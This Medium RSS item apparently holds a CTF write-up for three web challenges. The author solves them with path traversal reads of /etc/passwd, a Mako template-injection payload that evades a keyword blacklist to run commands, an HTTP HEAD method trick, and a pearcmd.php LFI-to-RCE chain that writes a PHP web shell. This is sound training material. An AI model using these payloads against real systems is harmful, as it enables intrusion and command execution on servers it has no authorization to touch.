<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0x7yl3r on Medium]]></title>
        <description><![CDATA[Stories by 0x7yl3r on Medium]]></description>
        <link>https://medium.com/@mrdurdeneg?source=rss-90fd6d2b76f3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8FJUsVz7E5FkWJh7</url>
            <title>Stories by 0x7yl3r on Medium</title>
            <link>https://medium.com/@mrdurdeneg?source=rss-90fd6d2b76f3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 14:20:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrdurdeneg/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CAT CTF 26 — Entry Level — WEB — writeup]]></title>
            <link>https://mrdurdeneg.medium.com/cat-ctf-26-entry-level-web-writeup-ee5e050e818e?source=rss-90fd6d2b76f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee5e050e818e</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0x7yl3r]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 13:48:21 GMT</pubDate>
            <atom:updated>2026-03-24T14:41:12.656Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSTghVSPKfksQjo5nPop3g.png" /></figure><p>Hey guys this a writeup for the web challenges that i solved</p><h4>Admin Jokes — LFI chained with SSTI</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*qbMqvKz4uEKr9uQBwyCPBw.png" /></figure><p>when i opened the challenge it show a normal admin portal with some jokes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MynQWdouF8HMwXGi_Y8cQg.png" /></figure><p>lets discover those jokes :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHZ4iQLHXfKjpT5FSqplyQ.png" /></figure><p>okay lets close it again 🤐…. i mean lets discover the ‘<em>joke</em>’ parameter</p><p>i make it <em>joke=0</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1E5Iu-PFnYc8e2SmkE4Dnw.png" /></figure><p>hmmmm lets try something<br>(the challenge updated this and remove the error message it was unintended)</p><blockquote><a href="http://167.99.34.2:5008/jokes?joke=../../../../../../etc/passwd">http://167.99.34.2:5008/jokes?joke=../../../../../../etc/passwd</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqAPeyaQrqMOBtmWlmFe1A.png" /></figure><p>now we got there, lets figure out the flag</p><blockquote><a href="http://167.99.34.2:5008/jokes?joke=../../../../../../flag.txt">http://167.99.34.2:5008/jokes?joke=../../../../../../flag.txt</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8BrfeMv2aBnHYkXqbIvtQ.png" /></figure><pre>CATF{Fake_Flag_Try_Harder_Buddy}</pre><p>i got the flag 🤩 but don’t rush its a fake flag :(</p><p>lets go through /app</p><blockquote><a href="http://167.99.34.2:5008/jokes?joke=../../../../../../app/">http://167.99.34.2:5008/jokes?joke=../../../../../../app/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*A0Y4x-s097__d9omcLbiDg.png" /></figure><pre>Joke<br>from flask import Flask, abort, request, send_from_directory<br>from mako.template import Template<br>import os<br><br>app = Flask(__name__)<br><br>BLACKLIST = [&quot;os&quot;, &quot;system&quot;, &quot;eval&quot;, &quot;popen&quot;, &quot;subprocess&quot;]<br>JOKES_DIR = os.path.join(app.root_path, &quot;public/content/data/jokes&quot;)<br><br><br>@app.errorhandler(404)<br>def not_found(_error):<br>    return &quot;Not Found&quot;, 404<br><br><br>@app.route(&quot;/&quot;)<br>def index():<br>    return &quot;&quot;&quot;      <br>            <br>Welcome<br>            <br>Admin Jokes Portal<br>            <br>Your daily dose of sysadmin humor!<br>            <br>View Joke #1<br><br>    &quot;&quot;&quot;<br><br><br>@app.route(&quot;/jokes&quot;)<br>def jokes():<br>    joke_id = request.args.get(&quot;joke&quot;, &quot;1&quot;)<br>    <br>    try:<br>        # LFI vulnerability - no path sanitization<br>        # Support both &quot;1&quot; and &quot;joke1.txt&quot; formats for normal jokes<br>        if joke_id.isdigit():<br>            joke_id = f&quot;joke{joke_id}.txt&quot;<br>        <br>        # Vulnerable: direct path concatenation from jokes directory<br>        # This allows ../../../ traversal attacks<br>        file_path = f&quot;{JOKES_DIR}/{joke_id}&quot;<br>        <br>        if os.path.isdir(file_path):<br>          files = os.listdir(file_path)<br>          files.sort()<br>          html = &quot;&quot;<br>          html += &quot;<br>Directory Listing<br>&quot;<br>          listing_root = joke_id.rstrip(&quot;/&quot;)<br>          for f in files:<br>            next_path = f&quot;{listing_root}/{f}&quot; if listing_root else f<br>            if os.path.isdir(os.path.join(file_path, f)):<br>              html += f&#39;{f}/\n&#39;<br>            else:<br>              html += f&#39;{f}\n&#39;<br>          html += &quot;<br>&quot;<br>          return html<br><br>        with open(file_path, &#39;r&#39;) as f:<br>          content = f.read()<br>        <br>        return f&quot;&quot;&quot;   <br>Joke<br><br>              <br>{content}<br><br>              <br>Back to Home<br><br><br>    &quot;&quot;&quot;<br>    except FileNotFoundError:<br>        abort(404)<br>    except PermissionError:<br>        abort(403)<br>    except OSError:<br>        abort(404)<br>    except Exception:<br>        abort(500)<br><br><br>@app.route(&quot;/admin/profile&quot;)<br>def admin_profile():<br>    name = request.args.get(&quot;name&quot;, &quot;Admin&quot;)<br>    lowered = name.lower()<br>    <br>    if any(token in lowered for token in BLACKLIST):<br>        return &quot;Blocked by security filter.&quot;, 403<br><br>    template = Template(f&quot;<br>Admin Profile<br>Welcome, {name}<br><br>&quot;)<br>    return template.render()<br><br><br>@app.route(&quot;/system/&quot;)<br>@app.route(&quot;/system&quot;)<br>def system_index():<br>    try:<br>        system_dir = &quot;/system&quot;<br>        files = os.listdir(system_dir)<br>        files.sort()<br>        html = &quot;&quot;<br>        html += &quot;<br>Index of /system/<br>&quot;<br>        for f in files:<br>            if os.path.isdir(os.path.join(system_dir, f)):<br>                html += f&#39;{f}/\n&#39;<br>            else:<br>                html += f&#39;{f}\n&#39;<br>        html += &quot;<br>&quot;<br>        return html<br>    except Exception as e:<br>        return f&quot;Error: {str(e)}&quot;, 500<br><br><br>@app.route(&quot;/system/&quot;)<br>def system_file(filename):<br>    return send_from_directory(&quot;/system&quot;, filename, mimetype=&quot;text/plain&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=5000)<br></pre><blockquote>we can see the endpoint clearly `@app.route(“/admin/profile”)`</blockquote><p>and we see the system directory</p><blockquote><a href="http://167.99.34.2:5008/jokes?joke=../../../../../../system/app.py">http://167.99.34.2:5008/jokes?joke=../../../../../../system/app.py</a></blockquote><p>we got it without rendering</p><pre>Joke<br>&quot;&quot;&quot;<br>Admin Profile Preview Module<br><br>This module handles admin profile previews with Mako templates.<br>Security: Input validation applied before template rendering.<br><br>Note: Some dangerous functions are filtered for security.<br>&quot;&quot;&quot;<br><br>from flask import request, Response<br>from mako.template import Template<br><br><br>def render_profile(name):<br>    &quot;&quot;&quot;<br>    Renders admin profile using Mako template engine.<br>    <br>    Security measures:<br>    - Input sanitization applied<br>    - Blacklist filter for dangerous keywords<br>    - Direct template rendering (fast performance)<br>    <br>    Known filtered terms include things like:<br>    - System-level operations<br>    - Code evaluation functions  <br>    - Module import mechanisms<br>    - Process execution calls<br>    &quot;&quot;&quot;<br>    <br>    # Security filter applied here<br>    lowered = name.lower()<br>    <br>    # Filter implementation (exact terms not shown for security)<br>    # ... blacklist checking logic ...<br>    <br>    template = Template(f&quot;<br>Admin Profile<br>Welcome, {name}<br><br>&quot;)<br>    return template.render()<br><br><br># Exposed endpoint:<br># GET /admin/profile?name=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*3vn3lLNM6gGFoCQvQjT5vg.png" /></figure><p>hmmmmmmmmmmm wb 7*7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jmt2lymeMRtjUvZP6Ao8QQ.png" /></figure><p>in the code we see<br> BLACKLIST = [“os”, “system”, “eval”, “popen”, “subprocess”]</p><p>we should escape it <br> we can construct strings to avoid matching the blacklist</p><p>__import__(‘o’ + ‘s’)</p><pre>${__import__(&#39;o&#39;+&#39;s&#39;).__dict__[&#39;pop&#39;+&#39;en&#39;](&#39;ls -la /&#39;).read()}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIcI1tTT0da2gOnNimvyUQ.png" /></figure><pre>${__import__(&#39;o&#39;+&#39;s&#39;).__dict__[&#39;pop&#39;+&#39;en&#39;](&#39;/readflagbinary&#39;).read()}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tohpH6xEGFjJhUpg-xl8Nw.png" /></figure><p>finally CATF{Mak0_LF1_2_SSTI_Adm1n_J0k3s_Pwn3d_9f4e2b7c}</p><h3>Headache — it’s all about the challenge name</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G2NudGoGH-0r649-uNTeXw.png" /></figure><p>we have two endpoints Get Flag and Admin Portal</p><p>get flag</p><blockquote><a href="http://167.99.34.2:5000/api/flag">http://167.99.34.2:5000/api/flag</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*v6kwZHjyaILK2jd5ZQ8Vyg.png" /></figure><p>back to admin portal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uK2eOkF1wN9oBxBB1VviKg.png" /></figure><p>whatever i try it gives Invalid session context.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrY1XFQNNLbZ6O_61Q4cwA.png" /></figure><p>back again to get flag<br>i used burp suite to see the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyR22dHyeHdjAGvVXz-XOg.png" /></figure><p>lets see options</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*6AmlM_ewLujZlYj2LxWYEA.png" /></figure><p>head ????? like headache?????? okayyy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*dJxD93bqgCG9vrxw2-nVvw.png" /></figure><blockquote><em>CATF{M4Yb3_Us1ng_y0ur_H34D_1S_us3full}</em></blockquote><h3>I love PHP — not really</h3><p>PHP is a weird way to spell RCE</p><p>a good hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ljo7-P5spn16pn7vZDAMgw.png" /></figure><p>it clearly show that there a parameter named file and take file:// LFI</p><blockquote><a href="http://167.99.34.2:8888/?file=file:///etc/passwd">http://167.99.34.2:8888/?file=file:///etc/passwd</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PuPmOVVJyjtgBumB3QInaw.png" /></figure><p>lets show flag now</p><blockquote><a href="http://167.99.34.2:8888/?file=file:///flag.php">http://167.99.34.2:8888/?file=file:///flag.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVGjJnVuXfkqE66sTdlD3Q.png" /></figure><p>i tried to show the web file it self</p><blockquote><a href="http://167.99.34.2:8888/?file=file:///var/www/html/index.php">http://167.99.34.2:8888/?file=file:///var/www/html/index.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNSEGA-aF3epb8UZhnlp9Q.png" /></figure><p>i keep trying some files but it keeps gimme warning</p><p>did u know we can get RCE from LFI using pearcmd.php file ?</p><blockquote>/usr/local/lib/php/pearcmd.php</blockquote><pre>?file=/path/to/pearcmd.php&amp;+config-create+/&lt;?=system($_GET[1]);?&gt;+/tmp/anyname.php</pre><p>i try this</p><pre>http://167.99.34.2:8888/?+config-create+/&amp;file=file:///usr/local/lib/php/pearcmd.php&amp;/&lt;?=system($_GET[2]);?&gt;+/tmp/tyler.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wuz-1t7IiqWGQlOfuyXiVw.png" /></figure><p>it successfully created the file buuuuut</p><pre>/%3C?=system($_GET[1]);?%3E/</pre><p>its url decoded so we can’t run the commands</p><p>lets try send it through burp suite</p><pre>GET /?+config-create+/&amp;file=file:///usr/local/lib/php/pearcmd.php&amp;/&lt;?=system($_GET[1]);?&gt;+/tmp/ox7yl3r.php HTTP/1.1<br>Host: 167.99.34.2:8888<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8<br>Sec-GPC: 1<br>Accept-Language: en-US,en;q=0.9<br>Accept-Encoding: gzip, deflate, br<br>Connection: keep-alive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*5Tm1G_QIJ0h-at6qpA48IA.png" /></figure><p>see it went right</p><pre>&lt;?=system($_GET[1]);?&gt;</pre><p>lets open the file we created</p><pre>http://167.99.34.2:8888/?file=file:///tmp/ox7yl3r.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFW9y8OVGilS7H29VrHgyg.png" /></figure><p>it asked for the second parameter 1 in the <em>&lt;?=system($_GET[1]);?&gt;</em></p><pre>http://167.99.34.2:8888/?file=file:///tmp/ox7yl3r.php&amp;1=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Keug01p3d8LVG2y4IXC7qg.png" /></figure><p>okay we got there</p><p>lets see what in the root dir</p><pre>http://167.99.34.2:8888/?file=file:///tmp/ox7yl3r.php&amp;1=ls+-la+/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pt1DGeFldcqw0ow8a1bgNg.png" /></figure><blockquote>/readflag</blockquote><pre>http://167.99.34.2:8888/?file=file:///tmp/ox7yl3r.php&amp;1=/readflag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iP2vlFSo134WSdGBKJBR8g.png" /></figure><blockquote>CATF{TH3_M05T_TH1NG_1_L0V3_AB0UT_PHP_15_TH4T_H0W3V3R_SM4LL_TH3_C0D3_15_Y0U_C4N_ALW4Y5_G3T_4N_RCE}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee5e050e818e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>